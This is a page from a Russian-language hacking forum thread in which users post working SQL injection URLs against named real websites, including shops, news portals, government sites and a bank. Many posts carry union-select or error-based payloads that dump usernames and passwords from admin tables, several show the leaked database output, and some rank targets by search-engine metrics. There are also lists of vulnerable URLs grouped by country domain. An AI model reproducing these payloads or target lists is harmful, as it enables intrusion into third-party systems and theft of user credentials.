SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 744 of 798
  1. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    Читалка столбцы



     
    #14861 DTW, 9 May 2012
    Last edited: 9 May 2012
  2. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Пройдемся по error-based, в таком случае.

    PHP:
    http://aw-o.com/item.php?pid=15&lang=rus+and(select+1+from(select+count(*),concat((select+(select+(select+distinct+schema_name+from+`information_schema`.schemata+limit+1,1))+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1--
    Вывод:
    PHP:
    Duplicate entry 'awocom1' for key 1)
     
    #14862 Га-Ноцри, 9 May 2012
  3. BLurpi^_^

    BLurpi^_^ Banned

    Joined:
    9 Feb 2011
    Messages:
    218
    Likes Received:
    26
    Reputations:
    9
    PHP:
    http://kif-auto.ru/modules/view_a.php?id=-3'+and+1=0+union+select+1,version(),3,4,5,6,7,8+--+
     
    #14863 BLurpi^_^, 9 May 2012
  4. Gaben7

    Gaben7 Member

    Joined:
    8 Jan 2012
    Messages:
    129
    Likes Received:
    9
    Reputations:
    6
    PHP:
    http://www.jcmi.ca/events/event.php?id=-1+union+select+1,2,3,4,5,6,7,g roup_concat%28username,0x3a,pa  ssword%29,9,10,11,12,13,14,15, 16,17,18+from+jcUsers--

    http://www.ciaproperties.co.za/prop001.php?id=-225+union+select+1,2,3,g  roup_concat%28txtuser,txtp assworde%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,  24,25,26,27+from+tbluser--
    communicat.pk

    пароли в открытом виде

    PHP:
    http://www.communicat.pk/web/market_map.php?id=-4+union+select+1,g  roup_concat%28table_name%29,3,4,5,6,7,8+from+information_schema.tables+w  here+t  able_schema=CHAR%2867,%2079,%2077,%2077,%2085,%2078,%2073,%2049,%2095,%2067,%2065,%2084%29--
    ousa.ca
    PHP:
    http://ousa.ca/educatedvoice/page.php?id=57+AND+1=2+U NION+S ELECT+1,2,0x494e432e,4--
    mysql:Gov


    Code:
    http://www.bogota.gov.co/equidad/newequi.php?id=%27
http://www.tsgaj.gov.cn/pluger/pingjia/index.php?act=frame&type=jws&id=6%27
http://xz.luanxian.tsgaj.gov.cn/show.php?id=5574%27
http://www.nbyzrc.gov.cn/homepage2/subview.php?id=1818
http://www.yatsen.gov.tw/chinese/lesson/show.php?id=4&PHPSESSID=
http://tccip.hach.gov.tw/tccp/main?page=temp_01_detail&id=26%27
http://sun.yatsen.gov.tw/hero_detail.php?id=%27
    mysql:UK


    Code:
    http://www.bepropertyservices.co.uk/sales_fulldetails.php?id=2004583
http://www.b-r.co.uk/sales_fulldetails?id=300216567
http://cankay.org.uk/popup.php?class=stretches&act=displayStretchInfo&id=63
http://www.idbaza.co.uk/details.php?pid=48&lan=en
http://www.citrixchanneltraining.co.uk/ev.php?pg=ev&id=%27,ID,%27&sid=
http://www.atkinsonkeene.co.uk/sales_fulldetails.php?id=1578035
http://www.id-eclectic.co.uk/bluadmin/get_cart_info.php
http://www.kapitol.co.uk/index.php?id=11CachedYou
http://www.enidblytonsociety.co.uk/book-details.php?id=637andtitle=Tales+After+Supper
http://apollolettings.co.uk/propertydtl.php?id=%2749%27
http://www.managingdiversity.co.uk/news_archive_list_articles.php?ID='
http://www.ctgltd.co.uk/news.php?id=70&title=CTG+TORQLine+equipped+Impreza+fastest+in+the+world
http://www.shadow-world.co.uk/modules/profile_1.2/index.php?doing=viewProfile
    mysql:MX


    Code:
    www.euromaquinas.com.mx/detallesescoplos.php?cod='
http://www.anemonaqro.com.mx/fabricantes.php
www.imagendeveracruz.com.mx/vercolumna.php?id='
http://www.mexmicro.com.mx/catalogo.php?id=135
http://mexicolegal.com.mx/oficina/index.php?id=3905
http://www.novenet.com.mx/seccion.php?id=209994&sec=&d=07&m=06&y=2011
http://www.impuestum.com.mx/noticias/5.html?PHPSESSID=%27
http://www.ccs.net.mx/contenido.php?id=2763
http://redu.org.mx/vernoticia.php?noticiaid=111
http://estudio5.com.mx/fabricantes.php
    PHP:
    http://www.cdneza.gob.mx/index.php?id=galerias&cve=51+A ND+1=0+U NION+S ELECT+0
    mysql:FM

    Code:
    http://www.aukcje.fm/show_user.php?id=8163&type=give
http://www.blu.fm/subsites/partypix/index.php?s=partypix&a=ecard&i=1&id=712
http://edura.fm/#!/radiogruppe/beitraege.php?gr_id=54&g_id=&g_player=off&g_lang=de&id=54&select=neuste&u_id=&au_id=0&d_id=
    mysql:EU


    Code:
    http://www.gluchowski.eu/pl/index.php?url=galeria&akcja=inne&opcja=pokazgal&id=4&gal=2&tytul=Zdj%C4%99cia%20z%202005
https://ekash.eu/index.php/agentsworldwide
http://gyg4u.eu/index.php?id=92
http://www.sweethanol.eu/art.php?id=14
http://www.paukova-mreza.eu/index.php?task=view&id=276
http://www.sociologiapadova.eu/?pagina=pagina_generica.php&id=2..
http://www.wawerek.eu/articles.php?id=00
http://www.paukova-mreza.eu/index.php?task=view&id=276
http://www.sgelectronics.eu/contact.php
http://humanconcept.eu/ajanlatok_bovebb.php?id=29
http://www.badalini.eu/home_it.php?azione=scheda_prodotto_it&id=51
http://www.impolex.eu/index.php?PHPSESSID=&akcja=01&id=3
    CO.IL

    PHP:

    www    .ift.co.il/showPage.asp?id=26+union+select+1,username,3,4+from+admins
    http    ://www.ift.co.il/showPage.asp?id=26+union+select+1,password,3,4+from+admins
    http://www.ohv.co.il/asp/portfolio_company.asp?id=117%20union%20select%201,2,u name,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22%20from%20a dmin
    http://www.raz-pi.co.il/pages.php?id=-9+union+select+0,us ername,pa ssword+from+admins
    http://www.isratim.co.il/archive/2008/details.php?id=-155+UNION+SELECT+1,group_concat%28login,0x3a,pa  ssword,0x3a,a  dmin%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,  24,25,26,27,28,29+from+userkeys
    http://dandd.co.il/video.asp?id=3+union+select+1,u sername,pa  ssword,4, 5,6,7+from+admin
    http://www.yadal.co.il/Contents/details.asp?id=662+union+select+1,2,3,4,5,u  sername,7,8,9,10,pa  ssword,12,13,14, 15,16,17+from+admins  
    SQL Injection:Co-operative Urban Bank

    Code:
    http://www.ferokebank.in/news.php?id=1
Tables found: [B]fcub_logs,fcub_newsboard3,fcub_user,fcub_user_logs[/B]
     
    #14864 Gaben7, 9 May 2012
    Last edited: 9 May 2012
    3 people like this.
  5. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Вопросы-ответы по ремонту и строительству.

    ТИЦ == 30, PR ==3;

    PHP:
    http://www.remotvet.ru/index.php?catID=-205+union+select+count(*)+from+users--
     
    #14865 Га-Ноцри, 9 May 2012
  6. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    onlymelbourne

     
    #14866 DTW, 10 May 2012
  7. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Новостной портал.

    ТИЦ == 230, PR == 4, DMOZ == true;

    PHP:
    http://tvkrasnodar.ru/news/?id=7777777'+union+select+1,2,3,4,5,6,7,8,9,10+--+h
     
    #14867 Га-Ноцри, 10 May 2012
  8. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    kobaltt


     
    #14868 DTW, 10 May 2012
    Last edited: 10 May 2012
    1 person likes this.
  9. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    PR == 3

    PHP:
    http://www.mir-sekretov.ru/detailNews.php?newsID=-4+union+select+1,2,@@datadir,@@tmpdir,5,6,7,8--
    PR == 1 и мерзкие рожи :mad:

    PHP:
    http://www.vivadisco.ru/en/index.php?newsid=-17+union+select+1,2,3,4,concat_ws(0x03a,user(),database(),version()),6,7--
    ТИЦ ==10 PR ==3 и error-based

    PHP:
    http://www.exp-edition.ru/reviewarticle.php?newsid=1392+and(select+1+from(select+count(*),concat((select+(select+database())+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1
    Шоп. PR == 2

    PHP:
    http://www.vladbaby.ru/?catid=-4+union+select+1,2,3,4,5,database(),7,8--
    Вывод в соурс vladbaby_webshop
     
    #14869 Га-Ноцри, 10 May 2012
    Last edited: 10 May 2012
    2 people like this.
  10. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    [​IMG]

    http://www.interfax-religion.ru/?act=news&div=-41496%20and%201=2%20union%20select%20concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),2,3,4,5,6,7,8,9,10,11,12,13,14,15+--

    4.1.25-log religion_main@localhost db_religion_main portbld-freebsd7.1
     
    #14870 AC//DC, 10 May 2012
  11. m0m

    m0m Banned

    Joined:
    4 Mar 2012
    Messages:
    85
    Likes Received:
    20
    Reputations:
    0
    deb3422_refunc@localhost
     
    #14871 m0m, 10 May 2012
    1 person likes this.
  12. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    На сон грядущий.

    тИЦ (CY) == 30, PR == 2, DMOZ.org == true;

    PHP:
    http://www.kiteboard.ru/index.php?pid=75&id=-114'+union+select+1,2,3,4,5,6--+h
     
    #14872 Га-Ноцри, 10 May 2012
  13. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    evwind
    lorpen
     
    #14873 DTW, 11 May 2012
    Last edited: 11 May 2012
  14. gars0n

    gars0n Elder - Старейшина

    Joined:
    9 Dec 2009
    Messages:
    483
    Likes Received:
    104
    Reputations:
    65
    Code:
    http://www.yasminchagas.com.br/hotsites/index.php?id=-37+union+select+1,2,0x6861636b6564206279207375727072697a,4,5,6,7,8,9,10,11,12,concat_ws(0x3a,user(),version(),database()),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+--+
    [email protected]:4.1.22-community-nt-log:yasmin
     
    #14874 gars0n, 11 May 2012
    1 person likes this.
  15. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    sanjulian

     
    #14875 DTW, 11 May 2012
  16. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    Шоп, ТИЦ == 20, PR == 2;

    PHP:
    http://www.vidatec.ru/show.php?id=82+union+select+1,2,count(*),4,5,6,7,8,9+from+vnew_users--
     
    #14876 Га-Ноцри, 11 May 2012
  17. Bragal

    Bragal New Member

    Joined:
    12 May 2011
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Тиц=850, pr=5, траф>9к
    error based

    PHP:
    http://vitawater.ru/shop/product_info.php?products_id=14348'+and+(select+products_name+from(select+count(*),concat(database(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--'
     
    #14877 Bragal, 12 May 2012
    1 person likes this.
  18. m0m

    m0m Banned

    Joined:
    4 Mar 2012
    Messages:
    85
    Likes Received:
    20
    Reputations:
    0
    PR = 4
     
    #14878 m0m, 12 May 2012
  19. DTW

    DTW Banned

    Joined:
    11 May 2008
    Messages:
    221
    Likes Received:
    52
    Reputations:
    11
    uscar

     
    #14879 DTW, 12 May 2012
  20. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Бедный сайт, его уже 4 года подряд хакают :(
     
    #14880 Ereee, 12 May 2012
(You must log in or sign up to post here.)
Page 744 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.